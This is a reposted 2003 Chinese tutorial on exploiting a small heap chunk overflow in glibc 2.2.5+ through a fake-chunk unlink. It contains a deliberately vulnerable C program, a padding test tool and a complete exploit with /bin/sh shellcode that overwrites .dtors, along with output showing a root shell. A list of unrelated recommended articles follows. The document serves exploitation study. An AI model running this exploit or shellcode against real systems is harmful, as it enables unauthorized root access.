一种小堆(heap)溢出的另类利用方法

glibc 堆学习(一)-基础概念 在程序运行过程中,堆可以提供动态分配的内存,允许程序申请大小未知的内存。堆其实就是程序虚拟地址空间的一块连续的线性区域,它由低地址向高地址方向增长。我们一般称管理堆的那部分程序为堆管理器。 阅读详情
一种小堆(heap)溢出的另类利用方法
bkbll(bkbll@cnhonker.net)
2003-9-1
[1]. 什么是堆溢出
堆溢出(heap overflow) 类似stack overflow, 发生在BSS区. 关于heap overflow的文章外面有很多, 入门级别的w00w00的<w00w00 on Heap Overflows>, 这篇文章的中文版是由warning3 撰写, 文章地址是: http://www.w00w00.org/files/articles/heaptut-chinese.txt, 英文原版是: http://www.w00w00.org/files/articles/heaptut.txt, 其中还有warning3写的: <一种新的heap区溢出技术分析>, 文章在:
http://www.nsfocus.net/index.php?act=sec_self&;do=view&doc_id=529&keyword=heap
本篇假设你理解了这两篇文章的意义.
[2]. 本篇依赖的系统
本篇所有程序都在Rh linux 8.0 default install 平台上调试通过. 关于小堆的利用, 在glibc>=2.2.5的版本上才有意义, 在glibc 2.2.4(rh 7.2)上, 利用warning3的方法就完全可行, 所以本文假设你使用的平台glibc>=2.2.5. rh linux 8.0上的版本是glibc-2.2.93-5 .
[3]. 和glibc<=2.2.5的区别
我们可以看看malloc的源代码. 低版本的分析可以参看warning3的文章, 高版本的源代码分析如下(int_free函数,因为函数比较长, 分解一下):
void _int_free(mstate av, Void_t* mem)
{
if (mem != 0) { //如果mem!=NULL
p = mem2chunk(mem);
size = chunksize(p);
check_inuse_chunk(av, p);
if ((unsigned long)(size) <= (unsigned long)(av->max_fast) //这里,如果是小堆<64bytes
#if TRIM_FASTBINS
&& (chunk_at_offset(p, size) != av->top) //并且这个块的下一块不是top块
#endif
) {
set_fastchunks(av);
fb = &(av->fastbins[fastbin_index(size)]);
p->fd = *fb;
*fb = p;
}
else if (!chunk_is_mmapped(p)) //如果这个块没有mmap位
{
nextchunk = chunk_at_offset(p, size);
nextsize = chunksize(nextchunk);
assert(nextsize > 0);
/* consolidate backward */
if (!prev_inuse(p)) //如果当前块的size部分标志着前一块未使用
{
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(p, bck, fwd); //和前一块合并
}
if (nextchunk != av->top)
{
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
//#define clear_inuse_bit_at_offset(p, s) (((mchunkptr)(((char*)(p)) + (s)))->size &= ~(PREV_INUSE))
/* consolidate forward */
if (!nextinuse) //如果下一个块没有使用, 则合并这个块
{
unlink(nextchunk, bck, fwd);
size += nextsize;
}
…………
}
else //如果这个块后面紧挨着top块
{
………
}
/* 注意这里, 如果合并后的大小>0xffff的话) */
if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD)
{
if (have_fastchunks(av))
malloc_consolidate(av);
…….
}
}
else { //如果是mmap的
………….
}
}
}
总结一下, 不同的地方有:
1. 当free的堆大小<64字节的时候, 会利用一种快速处理方法来处理.
2. 当合并后的size 大于0xffff的时候, 还有另外一个过程 , 这个过程如果你用伪造的chunk去处理的话, 很难保证不出错, 所以合并后的size要小于0xffff.
3. 块的大小必须要是8的倍数.
1和2 的比较过程都是用(unsigned long)类型比较, 所以在这里, 负数可以逃避1的规则限制, 而2里面就不行了, 如果size是一个负数, 会判断失败, 这样会跳转到一个复杂的计算过程, 所以在这里size一定不能是负数.
[4]. 一个有漏洞的程序:
/* just for fun */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main(int argc,char **argv)
{
char *p1;
char *p2;

if(argc<2)
{
printf("Usage:%s <string>n",argv[0]);
exit(0);
}
if(strlen(argv[1])>40-1)
{
printf("ERROR:too longn");
exit(0);
}
p1=(char *)malloc(20);
p2=(char *)malloc(40);
memset(p1,0,20);
memset(p2,0,40);
strcpy(p2,argv[1]);
strcpy(p1,p2);
printf("[+] input:%sn",p1);
memset(p2,0,40);
free(p1);
free(p2);
exit(0);
}
[5]. 利用方法思考
初看起来和以前的heap overflow利用方法一样, 伪造chunk2和chunk3就可以写出exp的, 但因为第一个块是小块, 所以利用方法又有所不一样.
从内存结构来看, 我们可以覆盖的有: p2的prev_size和p2的size两个地方. 恰好这两个地方是控制p2的前一个块和后一个块的关键数据, 所以基本上我们可以伪造出前一个块和后一个块, 只要控制好inuse位, 我们就可以利用unlik操作写任意四个字节的数据到任意地方.
这里需要注意的是size必须要是一个正数, 而且这个数值必须小与0xffff. 这里我们有两种选择(为了描述方便, 我们把p2前一个块称做p1,后面的一个块称做p3, p3的下一块称作p4)
1. 利用伪造的p1,进行unlink操作. 只需要让p2的prev_inuse位清零
2. 利用伪造p3进行unlink操作, 因为后面有判断p3是否使用, 所以还需要伪造p4.
如果是要利用伪造p3进行unlink操作的话, 因为要考虑到size>0, 这里要考虑两种情况(利用strcpy,所以数据里面不能有0x00):
1. p2的size>0 因为p2本身缘故, 这个里面可以含有0x00. 这样p3就只能在p2后面了, 但看程序里面,p2后面的数据基本上全为0 , p3的fd和bk数据无法填充.所以不大可能.
2. p2的size<0 这样要求p3的size>0而且0xffff>(p3->size+p2->size)>0. 并且通过p3->size伪造的p4要满足我们的要求, 最重要的是p3->size四个字节的内存块里面不能有0x00.好像在内存中还找不出这样的一个位置来放我们的p3,如果你有更合适的办法, 请和交流.
从上面的分析可以看出, 利用伪造的p3块进行unlink操作难度系数太大了. 我们看看利用伪造的p1可不可行.
因为p1的地址是这样计算的:p1 addr=p2 addr – p2->prev_size, 而p2后面的内存基本上全为0 ,所以这里的prev_size必须要为一个正数, 但是又因为我们要覆盖到p2的size,所以prev_size内存块不能有0x00数据, 这里的p2->prev_size就只能是一个非常大的正数. 初看上去是不可行的, 但联想到我们的堆栈数据是0xbffff开头的, 如果将这个地址看成是一个有符号的数话,恰好是一个负数, 从前面的源代码上分析可以看出,size的加法全是有符号的操作, 所以我们可不可以将p1结构放到我们的堆栈里面呢? 这样我们可以通过这个非常大的正数将P1放到堆栈里面.
P1确定好了, 为了保证0xffff>(p2->size+p1->size)>0, 而且又要求我们可以控制p3, 我们又需要精心构造一个p2->size,而且这个数据还需要设置p1的non-use位. 看上去是不是不可能的? 让我们看一看一个精彩的数学变换.
假设我们p2地址是p2addr,p1地址是p1addr,p1的大小是p1size,p2的大小是p2size,p3的地址是p3addr, p1size+p2size=offset,这个offset符合大于0和小于0xffff的规定.
那么这里有几个等式:


p2addr-p1size=p1addr ------------①
p2addr+p2size=p3addr ------------②
p1size+p2size=offset ------------③


②-①得:
p2size+p1size=p3addr-p1addr
代入③得:
offset=p3addr-p1addr,也即:
p3addr=p1addr+offset.
我们的p1放在堆栈, 只要我们加上一点点的offset就可以得到我们的p3, 那么p4也可以顺利伪造出来了.
现在摆在面前的问题就只有一个: p3addr-p2addr也就是p2size必须要设置non-map和non-use位. 而且p2size要为8的倍数, 这样看来, p2size最后一个数据必须为8.
这个时候又有一个问题出来了, 我们该怎么构造这些数据以确保p3的结构里面符合要求而p3的地址和p2地址之差最后一位要为8? 这个数据该如何被确保存在?
经过思考, 我们可以想像出我们的p1和p3数据是这样的:


|AAAA|AAAA| FD | BK |AAA.AAAAA|AAAA| P3SIZE|….
p1 p3


因为我们不用关心p1的prev_size以及p1的size, 而我们只需要关心p4的size的inuse是否为0, 这样,我们将p3->size设置成0xfffffff8(-8), 这样p4=p3+p3->size=p3-8, 这样只要保证*(char *)(p3-1)的数据最后一位为1就可以了. 填充的A就可以满足要求. 在P1和P3的数据后面我们可以跟上我们的shellcode,这样构造后的数据应该是这样的:


| 被替换的地址 | 替换的地址 | xxxxxxxxxxxA|AAAA| -8 | shellcode |
p1+8 p1+12 p3


我们回到刚才的问题, 怎么保证p3的地址满足要求.
我们可以这样考虑, 内存中存放多次的xxxA|AAAA| -8 | 这样的结构, 其中XXXA|AAAA长度我们需要验算一下. 我们的目标是, 经过有限次的16位数据循环, 我们总可以找到符合要求的xxxxA|AAAA|-8|这样满足要求的结构. 我们写个小程序验算一下:
[netconf@linux1 challenge]$ cat test1.c


/* test for 32 bits value */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define SIZE 200
#define PAD 5
#define FG 'A'
#define ADDR 0xfffffff8

void foo(int offset,char *buffer)
{
int i,found=0;

for(i=offset;i<strlen(buffer);i+=16)
{
if((buffer[i]==FG) && (buffer[i+1]==FG) && (buffer[i+2]==FG) && (buffer[i+3]==FG) && (*(unsigned int *)(buffer+i+4)==ADDR))
{
printf("[+] found.i:%3d,cont:%c%c%c%c ADDR:%pn",i,buffer[i],buffer[i+1],buffer[i+2],buffer[i+3],*(unsigned int *)(buffer+i+4));
found=1;
continue;
}
}
if(found==0) printf("[-] not foundn");
}

main(int argc,char **argv)
{
char buffer[SIZE];
int i,j;
int pd=PAD;

if(argc>1) pd=atoi(argv[1]);
memset(buffer,0,SIZE);
for(i=0;i<SIZE-1;i+=pd+4)
{
memset(buffer+i,FG,pd);
*(unsigned int *)(buffer+i+pd)=ADDR;
}
printf("[+] PAD=%dnn",pd);
for(j=0;j<pd;j++)
{
printf("[+] Offset:%dn",j);
foo(j,buffer);
}
}


[netconf@linux1 challenge]$
我们分别验算一下从1-9符合要求的PAD是多少:


[netconf@linux1 challenge]$ gcc -o test1 test1.c
[netconf@linux1 challenge]$ ./test1 1
[+] PAD=1

[+] Offset:0
[-] not found
[netconf@linux1 challenge]$ ./test1 2
[+] PAD=2

[+] Offset:0
[-] not found
[+] Offset:1
[-] not found
[netconf@linux1 challenge]$ ./test1 3
[+] PAD=3

[+] Offset:0
[-] not found
[+] Offset:1
[-] not found
[+] Offset:2
[-] not found
[netconf@linux1 challenge]$ ./test1 4
[+] PAD=4

[+] Offset:0
[+] found.i: 0,cont:AAAA ADDR:0xfffffff8
[+] found.i: 16,cont:AAAA ADDR:0xfffffff8
[+] found.i: 32,cont:AAAA ADDR:0xfffffff8
[+] found.i: 48,cont:AAAA ADDR:0xfffffff8
[+] found.i: 64,cont:AAAA ADDR:0xfffffff8
[+] found.i: 80,cont:AAAA ADDR:0xfffffff8
[+] found.i: 96,cont:AAAA ADDR:0xfffffff8
[+] found.i:112,cont:AAAA ADDR:0xfffffff8
[+] found.i:128,cont:AAAA ADDR:0xfffffff8
[+] found.i:144,cont:AAAA ADDR:0xfffffff8
[+] found.i:160,cont:AAAA ADDR:0xfffffff8
[+] found.i:176,cont:AAAA ADDR:0xfffffff8
[+] found.i:192,cont:AAAA ADDR:0xfffffff8
[+] Offset:1
[-] not found
[+] Offset:2
[-] not found
[+] Offset:3
[-] not found
[netconf@linux1 challenge]$ ./test1 5
[+] PAD=5

[+] Offset:0
[+] found.i: 64,cont:AAAA ADDR:0xfffffff8
[+] Offset:1
[+] found.i: 1,cont:AAAA ADDR:0xfffffff8
[+] found.i:145,cont:AAAA ADDR:0xfffffff8
[+] Offset:2
[+] found.i: 82,cont:AAAA ADDR:0xfffffff8
[+] Offset:3
[+] found.i: 19,cont:AAAA ADDR:0xfffffff8
[+] found.i:163,cont:AAAA ADDR:0xfffffff8
[+] Offset:4
[+] found.i:100,cont:AAAA ADDR:0xfffffff8
[netconf@linux1 challenge]$ ./test1 6
[+] PAD=6

[+] Offset:0
[+] found.i: 32,cont:AAAA ADDR:0xfffffff8
[+] found.i:112,cont:AAAA ADDR:0xfffffff8
[+] found.i:192,cont:AAAA ADDR:0xfffffff8
[+] Offset:1
[-] not found
[+] Offset:2
[+] found.i: 2,cont:AAAA ADDR:0xfffffff8
[+] found.i: 82,cont:AAAA ADDR:0xfffffff8
[+] found.i:162,cont:AAAA ADDR:0xfffffff8
[+] Offset:3
[-] not found
[+] Offset:4
[+] found.i: 52,cont:AAAA ADDR:0xfffffff8
[+] found.i:132,cont:AAAA ADDR:0xfffffff8
[+] Offset:5
[-] not found
[netconf@linux1 challenge]$ ./test1 7
[+] PAD=7

[+] Offset:0
[+] found.i: 80,cont:AAAA ADDR:0xfffffff8
[+] Offset:1
[+] found.i:113,cont:AAAA ADDR:0xfffffff8
[+] Offset:2
[+] found.i:146,cont:AAAA ADDR:0xfffffff8
[+] Offset:3
[+] found.i: 3,cont:AAAA ADDR:0xfffffff8
[+] found.i:179,cont:AAAA ADDR:0xfffffff8
[+] Offset:4
[+] found.i: 36,cont:AAAA ADDR:0xfffffff8
[+] Offset:5
[+] found.i: 69,cont:AAAA ADDR:0xfffffff8
[+] Offset:6
[+] found.i:102,cont:AAAA ADDR:0xfffffff8
[netconf@linux1 challenge]$ ./test1 8
[+] PAD=8

[+] Offset:0
[+] found.i: 16,cont:AAAA ADDR:0xfffffff8
[+] found.i: 64,cont:AAAA ADDR:0xfffffff8
[+] found.i:112,cont:AAAA ADDR:0xfffffff8
[+] found.i:160,cont:AAAA ADDR:0xfffffff8
[+] Offset:1
[-] not found
[+] Offset:2
[-] not found
[+] Offset:3
[-] not found
[+] Offset:4
[+] found.i: 4,cont:AAAA ADDR:0xfffffff8
[+] found.i: 52,cont:AAAA ADDR:0xfffffff8
[+] found.i:100,cont:AAAA ADDR:0xfffffff8
[+] found.i:148,cont:AAAA ADDR:0xfffffff8
[+] found.i:196,cont:AAAA ADDR:0xfffffff8
[+] Offset:5
[-] not found
[+] Offset:6
[-] not found
[+] Offset:7
[-] not found
[netconf@linux1 challenge]$ ./test1 9
[+] PAD=9

[+] Offset:0
[+] found.i: 96,cont:AAAA ADDR:0xfffffff8
[+] Offset:1
[+] found.i:161,cont:AAAA ADDR:0xfffffff8
[+] Offset:2
[+] found.i: 18,cont:AAAA ADDR:0xfffffff8
[+] Offset:3
[+] found.i: 83,cont:AAAA ADDR:0xfffffff8
[+] Offset:4
[+] found.i:148,cont:AAAA ADDR:0xfffffff8
[+] Offset:5
[+] found.i: 5,cont:AAAA ADDR:0xfffffff8
[+] Offset:6
[+] found.i: 70,cont:AAAA ADDR:0xfffffff8
[+] Offset:7
[+] found.i:135,cont:AAAA ADDR:0xfffffff8
[+] Offset:8
[+] found.i:200,cont:AAAA ADDR:0xfffffff8
[netconf@linux1 challenge]$


从上面的计算可以看出, 无论buffer开始地址多少, 当PAD为5,7,9的时候, 经过有限次列举总可以找到这样一个满足条件的位置. 我们取最小的数据5来构造我们的p3.
[6]. 我们的exp
这样我们就可以写出exploit了:
[netconf@linux1 challenge]$ cat exp4.c


/* exp4 */
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

#define SIZE 20
#define FILL 200 /* 我们准备填充多少个p3结构来满足要求 */
#define PAD 5
#define want_write_to_addr 0x080496dc+4-3*4 /*.dtors地址*/
#define P2ADDR 0x08049738 /* p2的地址(chunk地址) */
#define shell_addr 0xbfffffa7 /* shellcode地址 */
#define P3ADDR 0xbfffff60 /* p2->next的地址*/
#define P1ADDR (unsigned long)(shell_addr-(FILL/(PAD+4))*(PAD+4)-0x08+1) /* p2->prev chunk的地址*/
#define VULN "./vul2"

char shellcode[] =
"xebx0bx90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x31xdbx89xd8xb0x17xcdx80"
"x31xc0x50x50xb0xb5xcdx80"
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";


main(int argc,char *argv[])
{
int i,size=SIZE,size2,length;
char *env[2],envbuf[400],buffer[100];
unsigned long p1size,p2size,p1addr;

memset(buffer,0,100);
if(argc>1) size=atoi(argv[1]);
length=(int)(size+4)/8;
if(length*8 == (size+4))length--;
length*=8;

for(i=0;i<length;i++)
buffer[i]='A';
size2=P3ADDR-P1ADDR;
p1size=size2-(P3ADDR-P2ADDR);
p2size=P3ADDR-P2ADDR;
printf("p2size+p1size:%p+%p=%#xn",p2size,p1size,p2size+p1size);
printf("p1addr:%p,p2addr:%p,p3addr=%pn",P1ADDR,P2ADDR,P3ADDR);
*(unsigned long *)(buffer+i)=p1size;
i+=4;
*(unsigned long *)(buffer+i)=p2size;
i+=4;

memset(envbuf,0,400);
strcpy(envbuf,"STR=");
i=strlen(envbuf);
//构造p1和p3
*(unsigned long *)(envbuf+i)=want_write_to_addr;
*(unsigned long *)(envbuf+i+4)=shell_addr;
i+=8;
for(i;i<200;i+=9)
{
memset(envbuf+i,'A',PAD);
*(unsigned long *)(envbuf+i+PAD)=0xfffffff8;
}
memcpy(envbuf+i,shellcode,strlen(shellcode));

env[0]=envbuf;
env[1]=NULL;
execle(VULN,VULN,buffer,NULL,env);

}


试一下:
[netconf@linux1 challenge]$ ./exp4
p2size+p1size:0xb7fb6828+0x4804985e=0x86
p1addr:0xbffffeda,p2addr:0x8049738,p3addr=0xbfffff60
[+] input:AAAAAAAAAAAAAAAA^楬(h
sh-2.05b# id
uid=0(root) gid=500(netconf) groups=500(netconf)
sh-2.05b#
[7]. 参考文章:
1. warning3: <一种新的heap区溢出技术分析>
堆溢出与UAF漏洞利用实战:从原理到CTF解题全解析 堆溢出(Heap Overflow)和释放后重用(UAF)是内存安全领域的核心漏洞类型,它们源于程序对动态分配的内存管理不当。堆溢出允许攻击者越界写入相邻内存区域,而UAF则使已释放的内存指针仍被误用,两者常结合导致严重的安全问题。从技术原理看,堆管理器如glibc的ptmalloc使用bins(如fastbin、unsorted bin)组织空闲块,漏洞利用正是通过精心操控这些数据结构,实现信息泄露或控制流劫持。在工程实践中,这类漏洞的利用价值极高,能够绕过现代操作系统的安全防护(如ASLR、RELRO) 阅读详情

相关推荐

堆溢出漏洞原理与利用:从内存管理到Root权限获取实战

内存管理是计算机系统安全的核心基础,其中堆内存的动态分配机制为程序提供了灵活性,但也引入了安全风险。堆溢出作为一种经典的内存破坏漏洞,其原理在于程序向堆内存写入数据时缺乏边界检查,导致越界写入并覆盖相邻的关键管理数据。这种漏洞的技术价值在于,攻击者可通过精心构造的输入数据篡改堆管理结构,实现任意代码执行,最终完成权限提升。在应用场景上,堆溢出常见于网络服务、浏览器组件等接受外部输入的程序中,是渗透测试与二进制安全研究的重点。本文聚焦glibc堆管理机制,深入解析unlink攻击、Use-After-Free

477

windows堆栈溢出利用的七种方式

文本由 www.169it.com 收集 windows下的堆栈溢出攻击和unix下的,原理基本相同。但是,由于windows用户进程地址空间分配和堆栈处理有其独立的特点,导致了windows 环境下堆栈溢出攻击时,使用的堆栈溢出字符串,与unix下的,区别很大。另外,windows的版本也导致了windows下的exploit不具有通用性。windows版本不同,而exploit使用了很多

u011809276的专栏 1458

CTF堆溢出漏洞利用实战:ciscn_2019_ne_5题解

堆溢出是二进制安全中的经典漏洞类型,主要源于程序对堆内存管理不当。其原理是通过覆盖堆块元数据或相邻内存,实现任意地址读写。在CTF竞赛和实际渗透测试中,这类漏洞常与Use-After-Free(UAF)结合,可绕过ASLR、NX等现代防护机制。以glibc的ptmalloc2分配器为例,通过构造特殊堆布局触发unlink操作,能够篡改GOT表实现控制流劫持。本文以全国大学生信息安全竞赛真题ciscn_2019_ne_5为例,详解如何利用fastbin特性泄露堆地址,并配合UAF漏洞完成从漏洞定位到getsh

weixin_33889245的博客 380

浅析堆溢出的两种方式

babyheap_0ctf_2017 第一步,改libc 例行checksec 进入代码审计 发现关闭了符号表 ,就需要用功能来猜函数了。 然后将主函数进行重命名。 Allocate函数: 没什么特别的 Fill函数 可以明显看出有一个堆溢出。 Clear函数 就是free掉堆并且清空指针。 发现没有system函数,所以想法是: 泄露libc 改got表 发现开了p...

m0_61948538的博客 1847

别再纠结选哪个向量库了!我用Spring AI + Redis Stack 7.2,5分钟搞定企业知识库RAG原型

本文介绍了如何利用Spring AI和Redis Stack 7.2快速构建企业级RAG应用,解决向量数据库选型难题。Redis Stack 7.2集成了RediSearch模块,支持向量相似性搜索,具备高性能、低成本、零学习成本等优势,特别适合中小团队快速搭建知识库系统。通过实战代码示例,展示了从环境准备到核心功能实现的完整流程。

weixin_29061041的博客 270

MAX30102心率血氧传感器:从原理到实践的可穿戴健康监测方案

本文深入解析MAX30102心率血氧传感器的工作原理及在可穿戴健康监测中的实践应用。通过反射式光电容积脉搏波(PPG)技术,该传感器能精准测量心率和血氧饱和度,具备低功耗、高抗干扰等优势。文章详细介绍了信号处理算法、硬件连接技巧及创新应用场景,为开发者提供全面的解决方案。

weixin_29184371的博客 282

glibc下各种堆溢出漏洞利用条件和方法总结

各种堆溢出漏洞总结溢出多个字节的情况一、利用条件一个chunk可以溢出,并且可以覆盖到下一个 chunk 的 size 位、fd、bk二、利用关键把 second chunk 的 size 覆盖为0,fd 改成 free@got-12, bk=shellcode 的地址(unlink 宏里面没有 check 可以这样做),然后 free first chunk。first chunk 会查找前后有没

axiejundong的博客 3123

【深度剖析】三一重工的数字化转型(中篇)

三一重工在数字化转型方面取得了提高效率、降低成本、加强研发创新和改善内控管理等多方面的成效。本研究旨在通过对三一重工数字化转型的深入分析,引导企业思考在第四次工业革命与第三次能源革命交汇的超级技术窗口期,如何进一步把握发展机遇,并为同行业其他企业提供探索性的建议。作为装备制造行业的佼佼者,三一重工的数字化转型受到了业界的广泛关注。作为行业内首批接触并实践数字化转型的企业之一,三一重工的转型经验不仅成功,而且积累了丰富的理论与实践,为其他制造业企业的数字化转型提供了可借鉴的范例。

领信卓越的博客 2306

堆溢出利用

堆的性质 是在程序运行动态分配内存(需要参考用户的反馈) 使用malloc函数或者new函数申请 堆的读,写,释放都是通过堆指针来完成 使用完成后,将堆指针交给释放函数回收这片内存 增长方向由低地址到高地址 堆的数据结构与管理 ...

每昔的博客 3410

FIFO Generate IP核使用——FIFO写操作详解及Status Flags页配置

本文介绍了FIFO的写操作及Status Flags页的配置信息。

u011565038的博客 2283

qt实现程序密钥注册功能,MD5加密+AES加密,并实现一台电脑系统一个密钥

qt实现了一个给自己软件加密的功能。 原理是: 需要被注册的软件第一次运行的时候,在系统的注册表里面注册一个键值,如下: 这个值作为生成密钥的用户识别号,然后生成密钥文件key.db,把这个key.db文件放到软件执行目录下,即可完成软件的注册并正常使用软件。 软件第一次打开的界面及密钥生成工具软件界面如下: 将密钥生成工具软件生成的key.db放到软件执行目录下之后,软件即可正常使用,如下图: 代码使用了MD5加密 外加 AES加密, 解密和加密的核心代码如下: QSt.

weixin_43935474的博客 4128

【分析】一种小堆(heap)溢出的另类利用方法

一种小堆(heap)溢出的另类利用方法创建时间:2003-09-18 更新时间:2003-09-18文章属性:转载文章来源:http://www.cnhonker.com/index.php?module=articles&act=view&type=6&id=76     bkbll(bkbll@cnhonker.net文章提交:watercloud (watercloud_at_xfocus.

FreeXploiT 1540

【国密】基于SM2的协同签名与协同解密方案

两方协同签名指客户端与服务端协同完成签名、验签操作,具体实现方案参考了信工所专利[3]。在业务应用中,两方或多方的协同签名一般采用门限签名方案可以用来构造。门限密码算法在多方协作的相关场景中应用十分广泛,可以实现数据联合授权、认证、密钥安全恢复、密钥安全交换等需求,在诸多分布式多方计算协议中均可见其身影。在上述两方协同签名方案中,最巧妙的地方在于签名值s分量的构造,通过一些列数学变换,得以恢复。以下从两方协同签名方案介绍入手,介绍门限密码在协同签名中的应用。解决上述问题的关键在于门限密码算法的巧妙构造。

听雨草堂 8388

JVM04-JVM中内存溢出(包括内存泄露)以及其处理方法

本文首先介绍了堆内存溢出(OutOfMemoryError)发生的场景以及处理方式,OutOfMemoryError发生的场景主要就是系统创建了大量的对象,并且这些对象是有效的(即保证GC Roots到对象之间有可达路径)。然后,介绍了栈内存异常(StackOverflowError)的发生场景以及处理方式,StackOverflowError发生的场景主要是线程调用栈深度超过了虚拟机运行的栈深度。最后,介绍了方法区的内存溢出。需要注意的是JDK1.8中完全移除了永久代,取而代之的是元空间。

码农飞哥 5557

Qt实现窗口等比例缩放

在Qt中,实现窗口的等比例缩放是一个常见的需求。通过对窗口的尺寸进行调整,使得窗口的内容在缩放过程中保持相同的比例,可以提供更好的用户体验。通过以上的代码,我们实现了一个可以等比例缩放的Qt窗口。在调整窗口大小时,窗口中的标签和按钮将按比例缩放,保持内容的比例不变。首先,我们需要在Qt中创建一个窗口,并设置其内容。在该事件中,我们将根据窗口的新尺寸计算出合适的比例因子,并将其应用到窗口的内容上。现在,我们将添加功能,使得窗口可以等比例缩放。最后,我们将缩放因子应用到窗口中的标签和按钮上,调整它们的尺寸。

2301_79330511的博客 3958

uniapp - 实现 App 端 “半屏幕“ 连续扫码功能,页面只有半个屏幕是扫码框并且可持续连续扫码获取数据(不使用官方 uni.scanCode API,因为无法连续扫码!)详细示例源码插件教程

uniapp app端实现半屏幕扫码,uniapp 扫一扫半个屏幕,uniapp 扫一扫,uniapp持续扫码实现,uniapp怎么自定义扫码和连续扫码,uni-app App端半屏连续扫码,uniapp 扫一扫半个屏幕,uniapp自定义扫码页面样式,实现连续扫码功能(uniapp),uniapp - 实现 App 端 "半屏幕" 连续扫码功能,页面只有半个屏幕是扫码框并且可持续连续扫码获取数据(不使用官方 uni.scanCode API,因为无法连续扫码!)详细示例源码插件教程。

✅ 精选推荐文章 1万+

【数据结构初阶】大堆与小堆的实现(向上向下调整)TopK问题

大堆与小堆的实现(向上向下调整)TopK问题什么是大堆,小堆堆的实现TOPK问题 什么是大堆,小堆 定义: 如果有一个关键码的集合K = {k0,k1, k2,…,kn-1},把它的所有元素按完全二叉树的顺序存储方式存储在一个一维数组中,并满足:Ki <= K2i+1 且 Ki<= K2i+2 (Ki >= K2i+1 且 Ki >= K2i+2) i = 0,1,2…,则称为 小堆(或大堆)。将根节点最大的堆叫做最大堆或大根堆,根节点最小的堆叫做最小堆或小根堆。 堆的实现 TO

Anton的博客 581

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

常见内存溢出类型与排查实战指南:从原理到解决方案

文章摘要 本文深入解析Java内存溢出(OOM)问题,系统介绍5种常见OOM类型(堆溢出、GC超限、元空间溢出、直接内存溢出和栈溢出),通过典型报错信息、触发场景和内存结构图进行对比分析。提供完整的排查工具链和实战案例,包括电商订单堆泄漏、元空间OOM和Netty直接内存溢出等真实场景解决方案。最后给出预防OOM的最佳实践,涵盖JVM参数配置、代码规范和监控体系建设。全文包含流程图、内存结构图和命令示例,是诊断和预防Java内存问题的实用指南。

qq_43414012的博客 979

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

Java 内存溢出(OOM)排查实战指南:从复现到 MAT Dump 分析

摘要:本文介绍了Java中OOM(内存溢出)问题的排查方法。首先解释了OOM的常见类型和原因,包括堆空间不足、本地缓存无限增长、内存泄漏等。通过Demo演示了如何快速复现OOM并生成Heap Dump文件。重点讲解了使用MAT工具分析Dump的步骤:查看Leak Suspects报告、Histogram统计、Dominator Tree分析以及Path to GC Roots追踪引用链。最后给出了修复OOM的常见方法,如限制缓存大小、优化数据结构等。文章提供了完整的OOM排查流程,帮助开发者快速定位和解决内

Knight 3582

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

Pwn实战:从栈溢出到UAF堆利用的完整漏洞利用链构建

在二进制安全领域,漏洞利用的核心在于理解程序运行时的内存管理机制。栈溢出和堆漏洞(如UAF)是两类基础且危害巨大的内存安全问题。栈溢出通过覆盖函数返回地址或关键数据,劫持程序控制流;而UAF(Use-After-Free)属于堆管理漏洞,在内存释放后仍被引用,可导致数据篡改或代码执行。这些漏洞的利用价值在于能够绕过操作系统安全机制(如NX、ASLR),实现权限提升或远程代码执行。在CTF竞赛和实战渗透中,攻击者常将栈溢出与堆漏洞结合,构建多阶段利用链:先通过栈溢出泄露关键地址(如libc基址),再利用UAF

dengjuanshou7445的博客 484

JVM 之 内存溢出实战【OOM? SOF? 哪些区域会溢出?堆、虚拟机栈、元空间、直接内存溢出时各自的特点?以及什么情况会导致他们溢出?并模拟溢出】

OOM异常:除了程序计数器外,堆、虚拟机栈、元空间、直接内存都有发生的可能 。该篇文章内,我们将演示引起各区域OOM的情况,及观察下其异常表现,进而总结各异常时的调优策略。 JVM调优实例: 堆-》heap OOM ->获取堆转储快照-》分析是溢出(调大堆)还是泄漏(优化代码),并解决 虚拟机栈: -》SOF -》根据堆栈信息去解决; -》OOM -> 线程过多 -》调小堆给虚拟机栈留出内存 元空间-》OOM:Metaspace ->调整代码+调大元空间上限 直接内存-》OOM,但没异常-》调大直接内存

人生快意事,读的好书,觅得良友 1071

JVM相关--内存溢出分析及解决方案

声明:下文所有经验总结均参考书籍《深入理解JAVA虚拟机》,如有侵权,请联系本人删除。 1,堆内存溢出:异常信息会提示java.lang.OutOfMemoryError,随后会紧跟heap space信息。 可能是堆里面的对象太多,堆无法放下那么多对象实例。 也可能是有资源没有来得及及时回收,比如某些大型对象没有调用close()方法。 解决这种内存溢出的方法: 1)如果可以调大jvm内存,通过...

juong的博客 400

jvm内存溢出

内存溢出和内存泄漏区别 内存溢出 Out Of Memory 是指程序在申请内存时,没有足够的内存空间供其使用,出现Out Of Memory 内存泄漏 Memory Leak 是指程序在申请内存后,由于某种原因无法释放已申请的内存空间,导致这块内存无法再次被利用,造成系统内存的浪费 memory leak会最终会导致out of memory。 内存溢出分类 栈内存溢出(StackOverflowError) 程序所要求的栈深度过大导致,可以写一个死递归程序触发。 如何解决 一般是程序问题,最大可能是递归

